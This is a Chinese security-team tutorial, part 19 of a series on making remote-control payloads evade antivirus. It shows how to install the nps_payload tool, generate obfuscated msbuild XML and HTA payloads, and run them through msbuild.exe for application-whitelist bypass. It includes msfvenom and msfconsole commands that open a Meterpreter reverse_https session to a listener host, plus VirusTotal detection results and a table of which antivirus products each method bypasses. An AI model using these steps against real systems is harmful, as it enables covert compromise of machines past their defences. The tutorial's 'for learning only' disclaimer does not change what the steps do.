



TIDE 安全团队
[HTTP://WWW.TIDASEC.COM](http://www.tideseccom.com)

远控免杀专题系列文章

重剑无锋@Tide安全团队

2019年12月

声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！

- 本专题文章导航
- 免杀能力一览表
- 一、nps_payload介绍
- 二、安装nps_payload
- 三、nps_payload使用说明
- 三、利用nps_payload生成后门
- 四、nps_payload小结
- 五、参考资料

本专题文章导航

1.远控免杀专题(1)-基础

篇：https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg

2.远控免杀专题(2)-msfvenom隐藏的参

数：<https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w>

3.远控免杀专题(3)-msf自带免杀(VT免杀率

35/69)：https://mp.weixin.qq.com/s/A0CZsILhCLOK_HgkHGcpEA

4.远控免杀专题(4)-Evasion模块(VT免杀率

12/71)：https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ

5.远控免杀专题(5)-Veil免杀(VT免杀率23/71):

<https://mp.weixin.qq.com/s/-PHVIAQVyU8QlpHwcpN4yw>

6.远控免杀专题(6)-Venom免杀(VT免杀率

11/71):<https://mp.weixin.qq.com/s/CbfxupSWEPB86tBZsmxNCQ>

7.远控免杀专题(7)-Shellter免杀(VT免杀率

7/69)：<https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg>

8.远控免杀专题(8)-BackDoor-Factory免杀(VT免杀率

13/71)：<https://mp.weixin.qq.com/s/A30JHhXhwe45xV7hv8jvVQ>

9.远控免杀专题(9)-Avet免杀(VT免杀率

14/71): <https://mp.weixin.qq.com/s/ElfqAbMC8HoC6xcZP9SXpA>

10.远控免杀专题(10)-TheFatRat免杀(VT免杀率

22/70): <https://mp.weixin.qq.com/s/zOvwfmEtbkpGWWBn642ICA>

11.远控免杀专题(11)-Avoidz免杀(VT免杀率

23/71): <https://mp.weixin.qq.com/s/TnfTXihlyv696uCiv3aWfg>

12.远控免杀专题(12)-Green-Hat-Suite免杀(VT免杀率

23/70): <https://mp.weixin.qq.com/s/MVJTXOlqjgL7iEHrnq6OJg>

13.远控免杀专题(13)-zirikatu免杀(VT免杀率

39/71): https://mp.weixin.qq.com/s/5xLuu5UfF4cQbCq_6JeqyA

14.远控免杀专题(14)-AVlator免杀(VT免杀率

25/69): https://mp.weixin.qq.com/s/JYMq_qHvnsIVlqijHNny8Q

15.远控免杀专题(15)-DKMC免杀(VT免杀率

8/55): <https://mp.weixin.qq.com/s/UZqOBQKEMcXtF5ZU7E55Fg>

16.远控免杀专题(16)-Unicorn免杀(VT免杀率

29/56): <https://mp.weixin.qq.com/s/y7P6bvHRFes854EAHAPOzw>

17.远控免杀专题(17)-Python-Rootkit免杀(VT免杀率

7/69): <https://mp.weixin.qq.com/s/OzO8hv0pTX54ex98k96tjQ>

18.远控免杀专题(18)-ASWCrypter免杀(VT免杀率

19/57): <https://mp.weixin.qq.com/s/tT1i55swRWIYiEdxEWEISQ>

19.远控免杀专题(19)-nps_payload免杀(VT免杀率3/57): 本文

文章打包下载及相关软件下载: <https://github.com/TideSec/BypassAntiVirus>

免杀能力一览表

序号	免杀方法	VT查杀率	360	QQ	火绒	卡巴	McAfee	微软	Symantec	瑞星	金山	江民	趋势
1	未免杀处理	53/69									√	√	
2	msf自编码	51/69		√							√	√	
3	msf自捆绑	39/69		√							√	√	√
4	msf捆绑+编码	35/68	√	√							√	√	√
5	msf多重编码	45/70		√			√				√	√	√
6	Evasion模块exe	42/71		√							√	√	√
7	Evasion模块hta	14/59			√				√		√	√	√
8	Evasion模块csc	12/71		√	√	√	√		√	√	√	√	√
9	Veil原生exe	44/71	√		√						√		√
10	Veil+gcc编译	23/71	√	√	√		√				√	√	√
11	Venom-生成exe	19/71		√	√	√	√				√	√	√
12	Venom-生成dll	11/71	√	√	√	√	√	√			√	√	√
13	Shellter免杀	7/69	√	√	√		√		√		√	√	√
14	BackDoor-Factory	13/71		√	√		√	√			√	√	√
15	BDF+shellcode	14/71		√	√		√		√		√	√	√
16	Avet免杀	17/71	√	√	√		√			√	√	√	√
17	TheFatRat:ps1-exe	22/70		√	√		√	√	√		√	√	√
18	TheFatRat:加壳exe	12/70	√	√		√	√	√	√		√	√	√
19	TheFatRat:c#-exe	37/71		√			√			√	√	√	√
20	Avoidz:c#-exe	23/68		√		√	√			√	√		√
21	Avoidz:py-exe	11/68		√		√	√		√		√	√	√
22	Avoidz:go-exe	23/71		√		√	√	√			√	√	√
23	Green-Hat-Suite	23/70		√		√	√	√			√	√	√
24	Zirikatu免杀	39/71	√	√	√					√	√	√	√
25	AVlator免杀	25/69	√	√	√		√		√	√	√	√	√
26	DMKC免杀	8/55		√		√		√	√	√	√	√	√
27	Unicorn免杀	29/56			√				√		√	√	√
28	Python-Rootkit免杀	7/69	√	√	√		√		√	√	√	√	√
29	ASWCrypter免杀	19/57	√				√				√	√	√
30	nps_payload免杀	3/56	√	√	√		√	√	√	√	√	√	√

几点说明：

1、上表中标识 √ 说明相应杀毒软件未检测出病毒，也就是代表了Bypass。

2、为了更好的对比效果，大部分测试payload均使用msf的 windows/meterpreter/reverse_tcp 模块生成。

3、由于本机测试时只是安装了360全家桶和火绒，所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本 5.0.0.8160 (2020.01.01)，火绒版本 5.0.34.16 (2020.01.01)，360安全卫士 12.0.0.2002 (2020.01.01)。

4、其他杀软的检测指标是在 `virustotal.com`（简称VT）上在线查杀，所以可能只是代表了静态查杀能力，数据仅供参考，不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软，这样的技术肯定是有，只是没被公开，一旦公开第二天就能被杀了，其实我们只要能bypass目标主机上的杀软就足够了。

一、nps_payload介绍

`nps_payload` 是2017年开源的工具，安装使用都比较简单，`nps_payload` 可以生成基于msbuild的xml文件和独立执行的hta文件，并对xml文件和hta文件做了一定的混淆免杀，从而达到免杀的效果。

二、安装nps_payload

1、克隆到本地

```
git clone https://github.com/trustedsec/nps_payload
```

2、安装py依赖

```
pip install -r requirements.txt
```

3、运行 `python nps_payload.py`

```
#python nps_payload.py

      (      (
      ) (      ) \      ) \ )
      ( \ ) (      \ ) ( / ( \ ) ( ( \ ) ( / ( ( \ ) (
      ) \ ) / ( ( \      / ( ( \ ) ( \ ) ( / ( \ ) ( \ ) (
      _ ( / ( ( \ ) ( \ ) ( \ ) ( \ ) ( \ ) ( \ ) ( \ ) ( \ ) (
      | ' \ ) ' _ \ | _ < | ' \ ) ' _ \ | _ \ | _ \ | _ \ | | |
      | _ | _ | _ \ / _ \ | _ \ | _ \ | _ \ | _ \ | _ \ |
      | _ | _ | _ \ / _ \ | _ \ | _ \ | _ \ | _ \ | _ \ |

      v1.03

(1)      Generate msbuild/nps/msf payload
(2)      Generate msbuild/nps/msf HTA payload
(99)     Quit
```

三、nps_payload使用说明

nps_payload生成的xml需要使用msbuild来执行，hta文件可直接执行。

Microsoft Build Engine是一个用于构建应用程序的平台，此引擎也被称为msbuild，它为项目文件提供一个XML模式，该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild，但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe，可以在未安装Visual Studio的环境中编译和生成程序。

说明：Msbuild.exe所在路径没有被系统添加PATH环境变量中，因此，Msbuild命令无法直接在cmd中使用。需要带上路

径：C:\Windows\Microsoft.NET\Framework\v4.0.30319。

适用条件：.NET Framework>=4.0

nps_payload对xml文件和hta文件做的一些免杀是比较直接有效的：

我这里就用本地加载进行测试， `msbuild.exe` 在windows中的的一般路径为 `C:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe`

```
C:\Users\ysoul\Desktop\local_test>C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe msbuild_nps.xml
Microsoft(R) 生成引擎版本 4.6.1590.0
[Microsoft .NET Framework 版本 4.0.30319.42000]
版权所有 (C) Microsoft Corporation。保留所有权利。
生成启动时间为 2020/1/14 15:16:45。
```

msfconsole监听相应payload和端口，可正常上线

```
resource (msf.rc)> set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
resource (msf.rc)> set LHOST 10.211.55.2
LHOST => 10.211.55.2
resource (msf.rc)> set LPORT 3333
LPORT => 3333
resource (msf.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (msf.rc)> set AutoSystemInfo true
AutoSystemInfo => true
msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://10.211.55.2:3333
[*] https://10.211.55.2:3333 handling request from 10.211.55.3; (UUID: xg6seikf) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (10.211.55.2:3333 -> 10.211.55.3:57018) at 2020-01-14 15:24:28 +0800

meterpreter > getpid
Current pid: 6268
meterpreter >
```

打开杀软进行测试



virustotal.com上查杀率为3/56

3498bc346bc1b26fa04930c145761f2e87d57018bce0126177bcf8e909ce9eda

3 engines detected this file

7.31 KB
Size

2020-01-14 07:27:55 UTC
a moment ago

HTML

Community Score

DETECTION	DETAILS	COMMUNITY
Kaspersky	HEUR:Trojan.Script.Mob.c	Sophos AV
ZoneAlarm by Check Point	HEUR:Trojan.Script.Mob.c	Ad-Aware
AegisLab	Undetected	AhnLab-V3
ALYac	Undetected	Antiy-AVL
Arcabit	Undetected	Avast
Avast-Mobile	Undetected	AVG
Baidu	Undetected	BitDefender
BitDefenderTheta	Undetected	Bkav
CAT-QuickHeal	Undetected	ClamAV

使用 nps_payload 生成的hta文件, virustotal.com上查杀率为7/57。(msf直接生成的hta-psh文件查杀为28/57, msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f hta-psh -o test.hta)

25f51413830a0757ac13a6ca0ad98ac460dc34753893e7713d80a373b663487d

7 engines detected this file

10.00 KB
Size

2020-01-14 03:26:12 UTC
4 hours ago

TXT

Community Score

DETECTION	DETAILS	COMMUNITY
Kaspersky	HEUR:Trojan.Script.Mob.c	Microsoft
Qihoo-360	Virus:Vbs.gen.vmc.1076	Rising
Sangfor Engine Zero	Malware	Sophos AV
ZoneAlarm by Check Point	HEUR:Trojan.Script.Mob.c	Ad-Aware
AegisLab	Undetected	AhnLab-V3
ALYac	Undetected	Antiy-AVL
Arcabit	Undetected	Avast
Avast-Mobile	Undetected	AVG
Avira (no cloud)	Undetected	Baidu

四、nps_payload小结

基于白名单的执行payload侯亮大神讲的比较多了, nps_payload 只是使用了其中的 msbuild.exe 方法, nps_payload 还对生成的文件进行了混淆处理, 使用非常简单, 免杀效果也是不错的。

五、参考资料

官方Github: https://github.com/trustedsec/nps_payload

基于白名单Msbuild.exe执行payload第一

季: <https://micro8.gitbook.io/micro8/contents-1/71-80/71-ji-yu-bai-ming-dan-msbuild.exe-zhi-hang-payload-di-yi-ji>

使用msbuild.exe绕过应用程序白名单（多种方

法）: <https://www.cnblogs.com/backlion/p/10490573.html>

重剑无锋@TIDE安全团队 HTTP://WWW.TIDSEC.COM